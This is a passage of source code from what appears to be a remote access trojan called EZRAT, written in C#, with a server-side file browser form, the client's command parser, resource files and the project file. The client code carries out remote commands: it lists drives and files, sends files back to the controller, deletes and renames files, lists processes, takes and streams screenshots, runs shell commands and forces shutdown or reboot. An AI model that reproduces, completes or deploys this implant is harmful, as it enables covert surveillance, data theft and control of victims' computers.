_pathDownload = value; } 39 | 40 | private string _path; 41 | 42 | public string Path 43 | { 44 | get { return _path; } 45 | set { _path = value; } 46 | } 47 | 48 | private Server _parent; 49 | 50 | public Server BaseWindows 51 | { 52 | get { return _parent; } 53 | set { _parent = value; } 54 | } 55 | 56 | 57 | public enum FileType : int 58 | { 59 | File = 1, 60 | Folder = 2, 61 | } 62 | 63 | public FileBrowser(Server parent, int id) 64 | { 65 | InitializeComponent(); 66 | 67 | this.BaseWindows = parent; 68 | this.cmbDrives.SelectedIndexChanged += UpdatePath; 69 | this.lstFiles.MouseDoubleClick += NewPath; 70 | this.downloadMenu.Click += DownloadFile; 71 | this.uploadMenu.Click += UploadFile; 72 | this.renameMenu.Click += RenameFile; 73 | this.deleteMenu.Click += DeleteFile; 74 | this.picUp.Click += UpPath; 75 | } 76 | 77 | private void DownloadFile(object sender, EventArgs e) 78 | { 79 | if (lstFiles.SelectedItems.Count != 0) 80 | { 81 | this.PathDownload = Path + this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text; 82 | this.BaseWindows.SendCommand("dlfile;" + this.PathDownload, this.Id); 83 | this.BaseWindows.fileNameDownload = this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text; 84 | this.BaseWindows.OnOffDlFile = true; 85 | } 86 | } 87 | 88 | private void UploadFile(object sender, EventArgs e) 89 | { 90 | OpenFileDialog opf = new OpenFileDialog(); 91 | opf.Multiselect = false; 92 | 93 | if (opf.ShowDialog() == DialogResult.OK) 94 | { 95 | string path = opf.FileName; 96 | try 97 | { 98 | //this._parent.SendFile(path,this.Path); //Send the data to the server 99 | string fileName = System.IO.Path.GetFileName(path); 100 | 101 | //File.ReadAllBytes(path).ToList().ForEach((b) => { dataFile += b.ToString() + Constantes.Separator; }); 102 | //string result = _parent.Encrypt("upfile;" + dataFile); //string result = _parent.Encrypt("upfile;" + dataFile); 103 | this.BaseWindows.SendCommand("upfile;" + $"{this.Path}{fileName}" ,this.BaseWindows.GetIdClient()); // + this.Path + new NameUpload(opf.FileName).Dialog() + ";" + dataFile, this.BaseWindows.GetIdClient()); 104 | SendFile(path); 105 | 106 | } 107 | catch (Exception ex) //Failed to send data to the server 108 | { 109 | Console.WriteLine("Send File Failure " + ex.Message); 110 | return; //Return 111 | } 112 | } 113 | } 114 | 115 | 116 | private void SendFile(string path) 117 | { 118 | string file_name = System.IO.Path.GetFileName(path); 119 | int size = 1024; 120 | uint tot = 0; 121 | FileStream fs = new FileStream(path, FileMode.Open); 122 | NetworkStream ns = new NetworkStream(this.BaseWindows.ClientSockets[this.BaseWindows.GetIdClient()]); 123 | byte[] data = new byte[size]; 124 | while (tot < fs.Length) 125 | { 126 | fs.Read(data, 0, size); 127 | tot += (uint)data.Length; 128 | ns.Write(data, 0, size); 129 | } 130 | Console.WriteLine($"Total data : {tot}"); 131 | fs.Close(); 132 | } 133 | 134 | private void RenameFile(object sender, EventArgs e) 135 | { 136 | this.PathDownload = Path + this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text; 137 | RenameFile rn = new RenameFile(PathDownload); 138 | if (rn.ShowDialog() == DialogResult.OK) 139 | { 140 | this.BaseWindows.SendCommand("rmfile;" + this.PathDownload + ";" + rn.FileName, this.Id); 141 | } 142 | } 143 | 144 | private void DeleteFile(object sender, EventArgs e) 145 | { 146 | this.PathDownload = Path + this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text; 147 | this.BaseWindows.SendCommand("dtfile;" + this.PathDownload, this.Id); 148 | } 149 | 150 | private void UpPath(object sender, EventArgs e) 151 | { 152 | Path = Path.TrimEnd('\\'); 153 | string result = Path.Substring(0, Path.LastIndexOf('\\') + 1); 154 | NewPath(result); 155 | } 156 | 157 | private void NewPath(string path) 158 | { 159 | Path = path; 160 | this.lblPath.Text = Path; 161 | BaseWindows.SendCommand("lsfiles-" + Path, Id); 162 | } 163 | 164 | private void NewPath(object sender, EventArgs e) 165 | { 166 | string path = this.lstFiles.Items[lstFiles.Items.IndexOf(lstFiles.SelectedItems[0])].Text; 167 | Path += $@"{path}\"; 168 | this.lblPath.Text = Path; 169 | BaseWindows.SendCommand("lsfiles-" + Path, Id); 170 | } 171 | 172 | public void UpdatePath(object sender, EventArgs e) 173 | { 174 | this.cmbDrives.Invoke(new MethodInvoker(() => Path = this.cmbDrives.Items[this.cmbDrives.SelectedIndex].ToString())); 175 | BaseWindows.SendCommand("lsfiles-" + Path, Id); 176 | this.lblPath.Text = Path; 177 | } 178 | 179 | 180 | public void UpdateDrives(string[] drives) 181 | { 182 | for (int i = 0; i < drives.Length; i++) 183 | { 184 | this.cmbDrives.Invoke(new MethodInvoker(() => this.cmbDrives.Items.Add(drives[i]))); 185 | } 186 | this.cmbDrives.Invoke(new MethodInvoker(() => this.cmbDrives.SelectedIndex = 0)); 187 | this.cmbDrives.Invoke(new MethodInvoker(() => Path = this.cmbDrives.Items[this.cmbDrives.SelectedIndex].ToString())); 188 | UpdatePath(new object(), new EventArgs()); 189 | } 190 | 191 | public void Update(string list) 192 | { 193 | ResetAll(); 194 | string[] lstData = list.Split(Constantes.SeparatorChar); 195 | uint count = 0; 196 | for (int i = 0; i < lstData.Length; i++) 197 | { 198 | string[] data = lstData[i].Split(Constantes.Special_SeparatorChar); 199 | if (data.Length > 2) // File 200 | { 201 | AddFileOrFolder(data[0], FileType.File, ToolBox.ReduceByteSize(data[2])); 202 | } 203 | else if (data.Length == 2) // Folder 204 | { 205 | AddFileOrFolder(data[0], FileType.Folder); 206 | } 207 | count += 1; 208 | } 209 | this.lblStatus.Text = STATUS_TEXT + count.ToString(); 210 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.AutoResizeColumns(ColumnHeaderAutoResizeStyle.ColumnContent))); 211 | 212 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize))); 213 | 214 | } 215 | 216 | 217 | 218 | private void AddFileOrFolder(string name, FileType type, string size = "0") 219 | { 220 | if (name.StartsWith(Constantes.Special_Separator)) 221 | { 222 | name = name.Substring(3); 223 | } 224 | if (lstFiles.InvokeRequired) 225 | { 226 | if (size != "0") 227 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.Items.Add(new ListViewItem(new string[] { name, type.ToString(), size.ToString() })))); 228 | else 229 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.Items.Add(new ListViewItem(new string[] { name, type.ToString() })))); 230 | 231 | } 232 | else 233 | { 234 | if (size != "0") 235 | lstFiles.Items.Add(new ListViewItem(new string[] { name, type.ToString(), size.ToString() })); 236 | else 237 | lstFiles.Items.Add(new ListViewItem(new string[] { name, type.ToString() })); 238 | } 239 | 240 | } 241 | 242 | private void ResetAll() 243 | { 244 | lstFiles.Invoke(new MethodInvoker(() => lstFiles.Items.Clear())); 245 | } 246 | } 247 | } 248 | -------------------------------------------------------------------------------- /EZRATClient/Core/CommandParser.cs: -------------------------------------------------------------------------------- 1 | using EZRATClient.Forms; 2 | using EZRATClient.Utils; 3 | using System; 4 | using System.Collections.Generic; 5 | using System.Diagnostics; 6 | using System.Drawing.Imaging; 7 | using System.IO; 8 | using System.Linq; 9 | using System.Net.Sockets; 10 | using System.Text; 11 | using System.Threading; 12 | using System.Windows.Forms; 13 | using EZRATClient.Utils; 14 | using System.Media; 15 | 16 | namespace EZRATClient.Core 17 | { 18 | static class CommandParser 19 | { 20 | public static Chat cht = null; 21 | 22 | private static Thread TChat; 23 | 24 | public static void ParserAndExecute(string text) 25 | { 26 | if (text.StartsWith("getinfo-"))// i added this to start task manager 27 | { 28 | 29 | string response = "infoback;"; 30 | response += text.Substring(8); 31 | response += ";"; 32 | response += SystemInfo.GetLocalIPAddress(); 33 | response += Constantes.Separator; 34 | response += SystemInfo.GetMachineName(); 35 | response += Constantes.Separator; 36 | response += SystemInfo.GetUserName(); 37 | response += Constantes.Separator; 38 | response += SystemInfo.GetWindowsVersion(); 39 | response += Constantes.Separator; 40 | response += Constantes.Version; 41 | 42 | Program.SendCommand(response); 43 | 44 | } 45 | else if (text == "dc") { Program._clientSocket.Shutdown(SocketShutdown.Both); Program._clientSocket.Close(); Program.ConnectToServer(); } 46 | else if (text == "lsdrives") 47 | { 48 | string response = "lsdrives;"; 49 | string[] drives = SystemInfo.GetDrives(); 50 | for (int i = 0; i < drives.Length; i += 1) 51 | { 52 | response += drives[i]; 53 | response += Constantes.Separator; 54 | } 55 | 56 | Program.SendCommand(response); 57 | } 58 | else if (text.StartsWith("lsfiles-")) 59 | { 60 | string path = text.Substring(8); 61 | DirectoryInfo d = new DirectoryInfo(path); 62 | List resD = new List(); 63 | List resF = new List(); 64 | 65 | try 66 | { 67 | resD = d.EnumerateDirectories("*", SearchOption.TopDirectoryOnly) 68 | .Where(fi => (fi.Attributes & FileAttributes.Normal) == 0).ToList(); 69 | 70 | resF = d.EnumerateFiles("*", SearchOption.TopDirectoryOnly) 71 | .Where(fi => (fi.Attributes & FileAttributes.Normal) == 0).ToList(); 72 | } 73 | catch (Exception ex) 74 | { 75 | Console.WriteLine(ex.Message); 76 | } 77 | 78 | 79 | string response = "lsfiles;"; 80 | response += path; 81 | response += ";"; 82 | resD.ForEach((item) => 83 | { 84 | response += item.Name; // Tarte.cs 85 | response += Constantes.Special_Separator; // Tarte.cs¦ 86 | response += "2"; // Tarte.cs¦2 87 | response += Constantes.Separator; // Tarte.cs¦2| 88 | }); 89 | resF.ForEach((item) => 90 | { 91 | response += item.Name; // Tarte.cs 92 | response += Constantes.Special_Separator; // Tarte.cs¦ 93 | response += "1"; // Tarte.cs¦1 94 | response += Constantes.Special_Separator; // Tarte.cs¦ 95 | response += item.Length.ToString(); // Tarte.cs¦1¦3732527| 96 | response += Constantes.Separator; // Tarte.cs¦1| 97 | }); 98 | 99 | Program.SendCommand(response); 100 | } 101 | else if (text.StartsWith("chat;")) 102 | { 103 | string options = text.Substring(5); 104 | string[] tmp = options.Split(';'); 105 | string msg; 106 | 107 | msg = tmp[0]; 108 | if (cht == null) 109 | { 110 | cht = new Chat(msg); 111 | TChat = new Thread(() => cht.ShowDialog()); 112 | TChat.Start(); 113 | } 114 | else 115 | { 116 | cht.NewMessage(msg); 117 | } 118 | } 119 | else if (text.StartsWith("chatdata;")) 120 | { 121 | if (cht != null) 122 | { 123 | Program.SendCommand("chatdata;" + String.Join(Constantes.Separator, cht.Texted)); 124 | } 125 | } 126 | else if (text.StartsWith("dlfile;")) 127 | { 128 | string path = text.Substring(7); 129 | CommandExecutor.SendFile(path); 130 | 131 | } 132 | else if (text.StartsWith("upfile;")) 133 | { 134 | text = text.Substring(7); 135 | CommandExecutor.ReceiveFile(text); 136 | if (text == "") 137 | { 138 | string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Song.wav"; 139 | Console.WriteLine(path); 140 | SoundPlayer snd = new SoundPlayer(path); 141 | snd.Play(); 142 | } 143 | } 144 | else if (text.StartsWith("dtfile;")) 145 | { 146 | text = text.Substring(7); 147 | File.Delete(text); 148 | } 149 | else if (text.StartsWith("rmfile;")) 150 | { 151 | text = text.Substring(7); 152 | string[] lines = text.Split(';'); 153 | string src = lines[0]; 154 | string dst = lines[1]; 155 | File.Move(src, dst); 156 | } 157 | else if (text.StartsWith("procview;")) 158 | { 159 | Process[] proc = Process.GetProcesses(); 160 | string result = "procview;"; 161 | for (int i = 0; i < proc.Length; i++) 162 | { 163 | result += $"{proc[i].ProcessName}¦{proc[i].Id};"; 164 | } 165 | Program.SendCommand(result); 166 | } 167 | else if (text == "scrnshot;") 168 | { 169 | Program.SendCommand("scrnshot;" + CommandExecutor.TakeScreenShot()); 170 | } 171 | else if (text.StartsWith("cmd;")) 172 | { 173 | text = text.Substring(4); 174 | string[] lines = text.Split(';'); 175 | CommandExecutor.ExecuteCommand(lines[1], lines[0]); 176 | } 177 | else if (text.StartsWith("control;")) 178 | { 179 | text = text.Substring(8); 180 | switch (text) 181 | { 182 | case "0": 183 | CommandExecutor.WindowsControl("shutdown /l"); 184 | break; 185 | case "1": 186 | CommandExecutor.WindowsControl("shutdown /r /t 00"); 187 | break; 188 | case "2": 189 | CommandExecutor.WindowsControl("shutdown /s /f /p /t 00"); 190 | break; 191 | default: 192 | break; 193 | } 194 | } 195 | else if (text == "sysinfo;") 196 | { 197 | string result = "sysinfo;"; 198 | result += SystemInfoDetails.GetBiosIdentifier(); 199 | result += Constantes.Separator; 200 | result += SystemInfoDetails.GetCpuName(); 201 | result += Constantes.Separator; 202 | result += SystemInfoDetails.GetGpuName(); 203 | result += Constantes.Separator; 204 | result += SystemInfoDetails.GetLanIp(); 205 | result += Constantes.Separator; 206 | result += SystemInfoDetails.GetMacAddress(); 207 | result += Constantes.Separator; 208 | result += SystemInfoDetails.GetMainboardIdentifier(); 209 | result += Constantes.Separator; 210 | result += SystemInfoDetails.GetTotalRamAmount(); 211 | Program.SendCommand(result); 212 | } 213 | else if (text.StartsWith("msgbox;")) 214 | { 215 | string options = text.Substring(7); 216 | string[] tmp = options.Split(';'); 217 | string title = tmp[0]; 218 | string value = tmp[1]; 219 | int icon = Convert.ToInt32(tmp[2]); 220 | MessageBoxIcon i; 221 | switch (icon) 222 | { 223 | case 0: 224 | i = MessageBoxIcon.Information; 225 | break; 226 | case 1: 227 | i = MessageBoxIcon.Error; 228 | break; 229 | case 2: 230 | i = MessageBoxIcon.Question; 231 | break; 232 | default: 233 | i = MessageBoxIcon.Information; 234 | break; 235 | } 236 | MessageBox.Show(value, title, MessageBoxButtons.OK, i); 237 | } else if (text.StartsWith("screenspy;")) 238 | { 239 | CommandExecutor.ScreenSpyThread(); 240 | } else if(text.StartsWith("stopscreenspy;")) 241 | { 242 | CommandExecutor.StopScreenSpyThread(); 243 | } else if(text.StartsWith("play;")) 244 | { 245 | string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Song.wav"; 246 | Console.WriteLine(path); 247 | SoundPlayer snd = new SoundPlayer(path); 248 | snd.Play(); 249 | } 250 | } 251 | } 252 | 253 | 254 | } 255 | -------------------------------------------------------------------------------- /EZRATServer/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // Ce code a été généré par un outil. 4 | // Version du runtime :4.0.30319.42000 5 | // 6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si 7 | // le code est régénéré. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace EZRATServer.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. 17 | /// 18 | // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder 19 | // à l'aide d'un outil, tel que ResGen ou Visual Studio. 20 | // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen 21 | // avec l'option /str ou régénérez votre projet VS. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EZRATServer.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Remplace la propriété CurrentUICulture du thread actuel pour toutes 51 | /// les recherches de ressources à l'aide de cette classe de ressource fortement typée. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 65 | /// 66 | internal static System.Drawing.Bitmap chat_64 { 67 | get { 68 | object obj = ResourceManager.GetObject("chat_64", resourceCulture); 69 | return ((System.Drawing.Bitmap)(obj)); 70 | } 71 | } 72 | 73 | /// 74 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 75 | /// 76 | internal static System.Drawing.Bitmap clientControl_64 { 77 | get { 78 | object obj = ResourceManager.GetObject("clientControl_64", resourceCulture); 79 | return ((System.Drawing.Bitmap)(obj)); 80 | } 81 | } 82 | 83 | /// 84 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 85 | /// 86 | internal static System.Drawing.Bitmap close_64 { 87 | get { 88 | object obj = ResourceManager.GetObject("close_64", resourceCulture); 89 | return ((System.Drawing.Bitmap)(obj)); 90 | } 91 | } 92 | 93 | /// 94 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 95 | /// 96 | internal static System.Drawing.Bitmap computer_settings_64 { 97 | get { 98 | object obj = ResourceManager.GetObject("computer_settings_64", resourceCulture); 99 | return ((System.Drawing.Bitmap)(obj)); 100 | } 101 | } 102 | 103 | /// 104 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 105 | /// 106 | internal static System.Drawing.Bitmap folder_64 { 107 | get { 108 | object obj = ResourceManager.GetObject("folder_64", resourceCulture); 109 | return ((System.Drawing.Bitmap)(obj)); 110 | } 111 | } 112 | 113 | /// 114 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 115 | /// 116 | internal static System.Drawing.Bitmap Form_64 { 117 | get { 118 | object obj = ResourceManager.GetObject("Form_64", resourceCulture); 119 | return ((System.Drawing.Bitmap)(obj)); 120 | } 121 | } 122 | 123 | /// 124 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 125 | /// 126 | internal static System.Drawing.Bitmap hacker_64 { 127 | get { 128 | object obj = ResourceManager.GetObject("hacker_64", resourceCulture); 129 | return ((System.Drawing.Bitmap)(obj)); 130 | } 131 | } 132 | 133 | /// 134 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 135 | /// 136 | internal static System.Drawing.Bitmap locked { 137 | get { 138 | object obj = ResourceManager.GetObject("locked", resourceCulture); 139 | return ((System.Drawing.Bitmap)(obj)); 140 | } 141 | } 142 | 143 | /// 144 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 145 | /// 146 | internal static System.Drawing.Bitmap monitor_64 { 147 | get { 148 | object obj = ResourceManager.GetObject("monitor_64", resourceCulture); 149 | return ((System.Drawing.Bitmap)(obj)); 150 | } 151 | } 152 | 153 | /// 154 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 155 | /// 156 | internal static System.Drawing.Bitmap process_64 { 157 | get { 158 | object obj = ResourceManager.GetObject("process_64", resourceCulture); 159 | return ((System.Drawing.Bitmap)(obj)); 160 | } 161 | } 162 | 163 | /// 164 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 165 | /// 166 | internal static System.Drawing.Bitmap restart { 167 | get { 168 | object obj = ResourceManager.GetObject("restart", resourceCulture); 169 | return ((System.Drawing.Bitmap)(obj)); 170 | } 171 | } 172 | 173 | /// 174 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 175 | /// 176 | internal static System.Drawing.Bitmap screenShot_100 { 177 | get { 178 | object obj = ResourceManager.GetObject("screenShot_100", resourceCulture); 179 | return ((System.Drawing.Bitmap)(obj)); 180 | } 181 | } 182 | 183 | /// 184 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 185 | /// 186 | internal static System.Drawing.Bitmap screenshot_64 { 187 | get { 188 | object obj = ResourceManager.GetObject("screenshot_64", resourceCulture); 189 | return ((System.Drawing.Bitmap)(obj)); 190 | } 191 | } 192 | 193 | /// 194 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 195 | /// 196 | internal static System.Drawing.Bitmap shell_48 { 197 | get { 198 | object obj = ResourceManager.GetObject("shell_48", resourceCulture); 199 | return ((System.Drawing.Bitmap)(obj)); 200 | } 201 | } 202 | 203 | /// 204 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 205 | /// 206 | internal static System.Drawing.Bitmap shutdown { 207 | get { 208 | object obj = ResourceManager.GetObject("shutdown", resourceCulture); 209 | return ((System.Drawing.Bitmap)(obj)); 210 | } 211 | } 212 | 213 | /// 214 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 215 | /// 216 | internal static System.Drawing.Bitmap sound { 217 | get { 218 | object obj = ResourceManager.GetObject("sound", resourceCulture); 219 | return ((System.Drawing.Bitmap)(obj)); 220 | } 221 | } 222 | 223 | /// 224 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 225 | /// 226 | internal static System.Drawing.Bitmap UAC { 227 | get { 228 | object obj = ResourceManager.GetObject("UAC", resourceCulture); 229 | return ((System.Drawing.Bitmap)(obj)); 230 | } 231 | } 232 | 233 | /// 234 | /// Recherche une ressource localisée de type System.Drawing.Bitmap. 235 | /// 236 | internal static System.Drawing.Bitmap up_50 { 237 | get { 238 | object obj = ResourceManager.GetObject("up_50", resourceCulture); 239 | return ((System.Drawing.Bitmap)(obj)); 240 | } 241 | } 242 | } 243 | } 244 | -------------------------------------------------------------------------------- /EZRATServer/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 | 2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\res\chat-64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 123 | 124 | 125 | ..\res\clientControl_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 126 | 127 | 128 | ..\res\close_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 129 | 130 | 131 | ..\res\computer_settings_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 132 | 133 | 134 | ..\res\folder-64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 135 | 136 | 137 | ..\res\Form_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 138 | 139 | 140 | ..\res\hacker_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 141 | 142 | 143 | ..\res\locked.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 144 | 145 | 146 | ..\res\monitor_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 147 | 148 | 149 | ..\res\process_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 150 | 151 | 152 | ..\res\restart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 153 | 154 | 155 | ..\res\screenShot_100.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 156 | 157 | 158 | ..\res\screenshot_64.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 159 | 160 | 161 | ..\res\shell_48.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 162 | 163 | 164 | ..\res\shutdown.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 165 | 166 | 167 | ..\res\sound.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 168 | 169 | 170 | ..\res\UAC.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 171 | 172 | 173 | ..\res\up-50.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a 174 | 175 | -------------------------------------------------------------------------------- /EZRATServer/EZRATServer.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4} 8 | WinExe 9 | EZRATServer 10 | EZRATServer 11 | v4.0 12 | 512 13 | true 14 | 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | 37 | 38 | true 39 | bin\x86\Debug\ 40 | DEBUG;TRACE 41 | full 42 | x86 43 | 7.3 44 | prompt 45 | MinimumRecommendedRules.ruleset 46 | 47 | 48 | bin\x86\Release\ 49 | TRACE 50 | true 51 | pdbonly 52 | x86 53 | 7.3 54 | prompt 55 | MinimumRecommendedRules.ruleset 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | Form 73 | 74 | 75 | ClientBuilder.cs 76 | 77 | 78 | Form 79 | 80 | 81 | NameUpload.cs 82 | 83 | 84 | Form 85 | 86 | 87 | ScreenShotViewer.cs 88 | 89 | 90 | 91 | Form 92 | 93 | 94 | MessageBoxEditor.cs 95 | 96 | 97 | Form 98 | 99 | 100 | ShellCommand.cs 101 | 102 | 103 | Form 104 | 105 | 106 | FileBrowser.cs 107 | 108 | 109 | Form 110 | 111 | 112 | Chat.cs 113 | 114 | 115 | Form 116 | 117 | 118 | ProcessViewer.cs 119 | 120 | 121 | Form 122 | 123 | 124 | RenameFile.cs 125 | 126 | 127 | Form 128 | 129 | 130 | Server.cs 131 | 132 | 133 | Form 134 | 135 | 136 | Starting.cs 137 | 138 | 139 | Form 140 | 141 | 142 | SystemDetails.cs 143 | 144 | 145 | 146 | 147 | 148 | 149 | Component 150 | 151 | 152 | 153 | ClientBuilder.cs 154 | 155 | 156 | MessageBoxEditor.cs 157 | 158 | 159 | NameUpload.cs 160 | 161 | 162 | ScreenShotViewer.cs 163 | 164 | 165 | ShellCommand.cs 166 | 167 | 168 | FileBrowser.cs 169 | 170 | 171 | Chat.cs 172 | 173 | 174 | ProcessViewer.cs 175 | 176 | 177 | RenameFile.cs 178 | 179 | 180 | Server.cs 181 | 182 | 183 | Starting.cs 184 | 185 | 186 | SystemDetails.cs 187 | 188 | 189 | ResXFileCodeGenerator 190 | Resources.Designer.cs 191 | Designer 192 | 193 | 194 | True 195 | Resources.resx 196 | True 197 | 198 | 199 | ImageContextMenu.cs 200 | 201 | 202 | SettingsSingleFileGenerator 203 | Settings.Designer.cs 204 | 205 | 206 | True 207 | Settings.settings 208 | True 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | --------------------------------------------------------------------------------